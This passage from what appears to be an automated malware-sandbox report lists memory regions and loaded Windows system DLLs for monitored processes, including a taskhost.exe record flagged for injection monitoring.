0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 2095 start_va = 0xd90000 end_va = 0xd91fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d90000" filename = "" Region: id = 2096 start_va = 0xda0000 end_va = 0xda0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000da0000" filename = "" Region: id = 2097 start_va = 0xdb0000 end_va = 0xdb0fff entry_point = 0x0 region_type = private name = "private_0x0000000000db0000" filename = "" Region: id = 2098 start_va = 0xdd0000 end_va = 0xe4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 2099 start_va = 0xee0000 end_va = 0x11aefff entry_point = 0xee0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2100 start_va = 0x11b0000 end_va = 0x12affff entry_point = 0x0 region_type = private name = "private_0x00000000011b0000" filename = "" Region: id = 2101 start_va = 0x12b0000 end_va = 0x13affff entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 2102 start_va = 0x13f0000 end_va = 0x146ffff entry_point = 0x0 region_type = private name = "private_0x00000000013f0000" filename = "" Region: id = 2103 start_va = 0x1470000 end_va = 0x14d1fff entry_point = 0x1470000 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 2104 start_va = 0x14e0000 end_va = 0x155ffff entry_point = 0x0 region_type = private name = "private_0x00000000014e0000" filename = "" Region: id = 2105 start_va = 0x15e0000 end_va = 0x165ffff entry_point = 0x0 region_type = private name = "private_0x00000000015e0000" filename = "" Region: id = 2106 start_va = 0x1680000 end_va = 0x16fffff entry_point = 0x0 region_type = private name = "private_0x0000000001680000" filename = "" Region: id = 2107 start_va = 0x1750000 end_va = 0x17cffff entry_point = 0x0 region_type = private name = "private_0x0000000001750000" filename = "" Region: id = 2108 start_va = 0x17d0000 end_va = 0x184ffff entry_point = 0x0 region_type = private name = "private_0x00000000017d0000" filename = "" Region: id = 2109 start_va = 0x18d0000 end_va = 0x194ffff entry_point = 0x0 region_type = private name = "private_0x00000000018d0000" filename = "" Region: id = 2110 start_va = 0x1950000 end_va = 0x19cffff entry_point = 0x0 region_type = private name = "private_0x0000000001950000" filename = "" Region: id = 2111 start_va = 0x1a50000 end_va = 0x1acffff entry_point = 0x0 region_type = private name = "private_0x0000000001a50000" filename = "" Region: id = 2112 start_va = 0x1b10000 end_va = 0x1b8ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b10000" filename = "" Region: id = 2113 start_va = 0x1c00000 end_va = 0x1c7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c00000" filename = "" Region: id = 2114 start_va = 0x1cf0000 end_va = 0x1d6ffff entry_point = 0x0 region_type = private name = "private_0x0000000001cf0000" filename = "" Region: id = 2115 start_va = 0x1d80000 end_va = 0x1dfffff entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 2116 start_va = 0x1e20000 end_va = 0x1e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e20000" filename = "" Region: id = 2117 start_va = 0x1ea0000 end_va = 0x209ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 2118 start_va = 0x20a0000 end_va = 0x249ffff entry_point = 0x0 region_type = private name = "private_0x00000000020a0000" filename = "" Region: id = 2119 start_va = 0x2540000 end_va = 0x25bffff entry_point = 0x0 region_type = private name = "private_0x0000000002540000" filename = "" Region: id = 2120 start_va = 0x25c0000 end_va = 0x29c2fff entry_point = 0x0 region_type = private name = "private_0x00000000025c0000" filename = "" Region: id = 2121 start_va = 0x2ab0000 end_va = 0x2df2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002ab0000" filename = "" Region: id = 2122 start_va = 0x2e00000 end_va = 0x2e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e00000" filename = "" Region: id = 2123 start_va = 0x2ed0000 end_va = 0x2f4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ed0000" filename = "" Region: id = 2124 start_va = 0x2fc0000 end_va = 0x303ffff entry_point = 0x0 region_type = private name = "private_0x0000000002fc0000" filename = "" Region: id = 2125 start_va = 0x3070000 end_va = 0x30effff entry_point = 0x0 region_type = private name = "private_0x0000000003070000" filename = "" Region: id = 2126 start_va = 0x30f0000 end_va = 0x38effff entry_point = 0x0 region_type = private name = "private_0x00000000030f0000" filename = "" Region: id = 2127 start_va = 0x39b0000 end_va = 0x3a2ffff entry_point = 0x0 region_type = private name = "private_0x00000000039b0000" filename = "" Region: id = 2128 start_va = 0x3a30000 end_va = 0x3b2ffff entry_point = 0x0 region_type = private name = "private_0x0000000003a30000" filename = "" Region: id = 2129 start_va = 0x73d20000 end_va = 0x73d22fff entry_point = 0x73d20000 region_type = mapped_file name = "winmgmtr.dll" filename = "\\Windows\\System32\\wbem\\WinMgmtR.dll" (normalized: "c:\\windows\\system32\\wbem\\winmgmtr.dll") Region: id = 2130 start_va = 0x77320000 end_va = 0x7743efff entry_point = 0x77335ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2131 start_va = 0x77440000 end_va = 0x77539fff entry_point = 0x7745a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2132 start_va = 0x77540000 end_va = 0x776e8fff entry_point = 0x77540000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2133 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2134 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2135 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2136 start_va = 0xff2b0000 end_va = 0xff311fff entry_point = 0xff2c08d8 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 2137 start_va = 0xff4c0000 end_va = 0xff512fff entry_point = 0xff4c0000 region_type = mapped_file name = "services.exe" filename = "\\Windows\\System32\\services.exe" (normalized: "c:\\windows\\system32\\services.exe") Region: id = 2138 start_va = 0xff5a0000 end_va = 0xff5aafff entry_point = 0xff5a246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 2139 start_va = 0x7fee7b50000 end_va = 0x7fee7bfdfff entry_point = 0x7fee7b50000 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 2140 start_va = 0x7fee7c00000 end_va = 0x7fee7d24fff entry_point = 0x7fee7c00000 region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\System32\\dbghelp.dll" (normalized: "c:\\windows\\system32\\dbghelp.dll") Region: id = 2141 start_va = 0x7fee8090000 end_va = 0x7fee80aafff entry_point = 0x7fee8090000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 2142 start_va = 0x7fef66b0000 end_va = 0x7fef66fefff entry_point = 0x7fef66b2764 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 2143 start_va = 0x7fef69a0000 end_va = 0x7fef69bbfff entry_point = 0x7fef69a0000 region_type = mapped_file name = "wscsvc.dll" filename = "\\Windows\\System32\\wscsvc.dll" (normalized: "c:\\windows\\system32\\wscsvc.dll") Region: id = 2144 start_va = 0x7fef8120000 end_va = 0x7fef8133fff entry_point = 0x7fef8120000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2145 start_va = 0x7fef8390000 end_va = 0x7fef839efff entry_point = 0x7fef8390000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2146 start_va = 0x7fef83a0000 end_va = 0x7fef83c6fff entry_point = 0x7fef83a0000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 2147 start_va = 0x7fef83d0000 end_va = 0x7fef84b1fff entry_point = 0x7fef83d0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2148 start_va = 0x7fef8730000 end_va = 0x7fef87b5fff entry_point = 0x7fef8730000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2149 start_va = 0x7fefb500000 end_va = 0x7fefb514fff entry_point = 0x7fefb501050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2150 start_va = 0x7fefb520000 end_va = 0x7fefb52bfff entry_point = 0x7fefb5218a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2151 start_va = 0x7fefb630000 end_va = 0x7fefb647fff entry_point = 0x7fefb631bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2152 start_va = 0x7fefb650000 end_va = 0x7fefb660fff entry_point = 0x7fefb6516ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2153 start_va = 0x7fefb710000 end_va = 0x7fefb74afff entry_point = 0x7fefb710000 region_type = mapped_file name = "dhcpcore6.dll" filename = "\\Windows\\System32\\dhcpcore6.dll" (normalized: "c:\\windows\\system32\\dhcpcore6.dll") Region: id = 2154 start_va = 0x7fefb750000 end_va = 0x7fefb7a0fff entry_point = 0x7fefb750000 region_type = mapped_file name = "dhcpcore.dll" filename = "\\Windows\\System32\\dhcpcore.dll" (normalized: "c:\\windows\\system32\\dhcpcore.dll") Region: id = 2155 start_va = 0x7fefb7c0000 end_va = 0x7fefb7c7fff entry_point = 0x7fefb7c0000 region_type = mapped_file name = "nrpsrv.dll" filename = "\\Windows\\System32\\nrpsrv.dll" (normalized: "c:\\windows\\system32\\nrpsrv.dll") Region: id = 2156 start_va = 0x7fefb7d0000 end_va = 0x7fefb7dafff entry_point = 0x7fefb7d1198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2157 start_va = 0x7fefb7e0000 end_va = 0x7fefb806fff entry_point = 0x7fefb7e98bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2158 start_va = 0x7fefb810000 end_va = 0x7fefb819fff entry_point = 0x7fefb810000 region_type = mapped_file name = "lmhsvc.dll" filename = "\\Windows\\System32\\lmhsvc.dll" (normalized: "c:\\windows\\system32\\lmhsvc.dll") Region: id = 2159 start_va = 0x7fefbcb0000 end_va = 0x7fefbcfafff entry_point = 0x7fefbcbefcc region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 2160 start_va = 0x7fefbd00000 end_va = 0x7fefbd2bfff entry_point = 0x7fefbd015c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 2161 start_va = 0x7fefbd30000 end_va = 0x7fefbddbfff entry_point = 0x7fefbd30000 region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 2162 start_va = 0x7fefbde0000 end_va = 0x7fefbe0cfff entry_point = 0x7fefbde1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2163 start_va = 0x7fefbe30000 end_va = 0x7fefbe38fff entry_point = 0x7fefbe31010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 2164 start_va = 0x7fefbe40000 end_va = 0x7fefbf6bfff entry_point = 0x7fefbe494bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 2165 start_va = 0x7fefc4b0000 end_va = 0x7fefc645fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll") Region: id = 2166 start_va = 0x7fefc650000 end_va = 0x7fefc65bfff entry_point = 0x7fefc651064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2167 start_va = 0x7fefc660000 end_va = 0x7fefc71afff entry_point = 0x7fefc660000 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 2168 start_va = 0x7fefc720000 end_va = 0x7fefc726fff entry_point = 0x7fefc7214b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2169 start_va = 0x7fefc820000 end_va = 0x7fefc83afff entry_point = 0x7fefc822068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2170 start_va = 0x7fefc840000 end_va = 0x7fefc85dfff entry_point = 0x7fefc8413b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2171 start_va = 0x7fefc930000 end_va = 0x7fefc939fff entry_point = 0x7fefc933cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2172 start_va = 0x7fefca60000 end_va = 0x7fefcaa6fff entry_point = 0x7fefca61064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2173 start_va = 0x7fefcb80000 end_va = 0x7fefcbdafff entry_point = 0x7fefcb86940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2174 start_va = 0x7fefccf0000 end_va = 0x7fefccf6fff entry_point = 0x7fefccf142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2175 start_va = 0x7fefcd00000 end_va = 0x7fefcd54fff entry_point = 0x7fefcd01054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2176 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb32b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2177 start_va = 0x7fefcfb0000 end_va = 0x7fefd01cfff entry_point = 0x7fefcfb1010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2178 start_va = 0x7fefd320000 end_va = 0x7fefd32afff entry_point = 0x7fefd321030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2179 start_va = 0x7fefd350000 end_va = 0x7fefd374fff entry_point = 0x7fefd359658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2180 start_va = 0x7fefd380000 end_va = 0x7fefd38efff entry_point = 0x7fefd381010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2181 start_va = 0x7fefd430000 end_va = 0x7fefd46cfff entry_point = 0x7fefd4318f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2182 start_va = 0x7fefd470000 end_va = 0x7fefd483fff entry_point = 0x7fefd4710e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2183 start_va = 0x7fefd490000 end_va = 0x7fefd49efff entry_point = 0x7fefd4919b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2184 start_va = 0x7fefd530000 end_va = 0x7fefd53efff entry_point = 0x7fefd531020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2185 start_va = 0x7fefd5e0000 end_va = 0x7fefd619fff entry_point = 0x7fefd5e1320 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 2186 start_va = 0x7fefd620000 end_va = 0x7fefd655fff entry_point = 0x7fefd621474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2187 start_va = 0x7fefd660000 end_va = 0x7fefd679fff entry_point = 0x7fefd661558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2188 start_va = 0x7fefd680000 end_va = 0x7fefd6eafff entry_point = 0x7fefd6830e0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2189 start_va = 0x7fefd6f0000 end_va = 0x7fefd856fff entry_point = 0x7fefd6f10c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2190 start_va = 0x7fefd860000 end_va = 0x7fefd98cfff entry_point = 0x7fefd8aed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2191 start_va = 0x7fefd990000 end_va = 0x7fefda28fff entry_point = 0x7fefd991c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2192 start_va = 0x7fefda30000 end_va = 0x7fefda5dfff entry_point = 0x7fefda31010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2193 start_va = 0x7fefdb00000 end_va = 0x7fefdbdafff entry_point = 0x7fefdb20760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2194 start_va = 0x7fefdd60000 end_va = 0x7fefddc6fff entry_point = 0x7fefdd6b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2195 start_va = 0x7fefddd0000 end_va = 0x7fefded8fff entry_point = 0x7fefddd1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2196 start_va = 0x7fefdee0000 end_va = 0x7fefdfa8fff entry_point = 0x7fefdf5a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2197 start_va = 0x7fefed40000 end_va = 0x7fefeddefff entry_point = 0x7fefed425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2198 start_va = 0x7fefede0000 end_va = 0x7fefefe2fff entry_point = 0x7fefee03330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2199 start_va = 0x7fefeff0000 end_va = 0x7feff041fff entry_point = 0x7fefeff10d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2200 start_va = 0x7feff0d0000 end_va = 0x7feff2a6fff entry_point = 0x7feff0d1010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 2201 start_va = 0x7feff2b0000 end_va = 0x7feff320fff entry_point = 0x7feff2c1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2202 start_va = 0x7feff330000 end_va = 0x7feff33dfff entry_point = 0x7feff331080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2203 start_va = 0x7feff5a0000 end_va = 0x7feff5a7fff entry_point = 0x7feff5a1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2204 start_va = 0x7feff5b0000 end_va = 0x7feff5cefff entry_point = 0x7feff5b60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2205 start_va = 0x7feff5d0000 end_va = 0x7feff6a6fff entry_point = 0x7feff5d3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2206 start_va = 0x7feff7e0000 end_va = 0x7feff82cfff entry_point = 0x7feff7e1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2207 start_va = 0x7feff860000 end_va = 0x7feff860fff entry_point = 0x7feff860000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2208 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 2209 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 2210 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 2211 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 2212 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 2213 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2214 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2215 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2216 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 2217 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2218 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2219 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2220 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2221 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2222 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2223 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2224 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2225 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2226 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2227 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2228 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2229 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 2230 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Thread: id = 96 os_tid = 0x930 Thread: id = 97 os_tid = 0x8d8 Thread: id = 98 os_tid = 0xb94 Thread: id = 99 os_tid = 0xb38 Thread: id = 100 os_tid = 0x9e4 Thread: id = 101 os_tid = 0x880 Thread: id = 102 os_tid = 0x87c Thread: id = 103 os_tid = 0x758 Thread: id = 104 os_tid = 0x4d4 Thread: id = 105 os_tid = 0x4cc Thread: id = 106 os_tid = 0x4c8 Thread: id = 107 os_tid = 0x178 Thread: id = 108 os_tid = 0x144 Thread: id = 109 os_tid = 0x3ac Thread: id = 110 os_tid = 0x3a4 Thread: id = 111 os_tid = 0x394 Thread: id = 112 os_tid = 0x300 Thread: id = 113 os_tid = 0x2fc Thread: id = 114 os_tid = 0x2f0 Thread: id = 115 os_tid = 0x2d8 Thread: id = 116 os_tid = 0x2d0 Process: id = "10" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0xabb1000" os_pid = "0x510" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "8" os_parent_pid = "0x568" cmd_line = "\"taskhost.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "AUFDDCNTXWT\\aDU0VK IWA5kLS" os_groups = "AUFDDCNTXWT\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103d4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2231 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2232 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2233 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2234 start_va = 0x40000 end_va = 0xa6fff entry_point = 0x40000 region_type = mapped_file name = "locale.nls" filename = 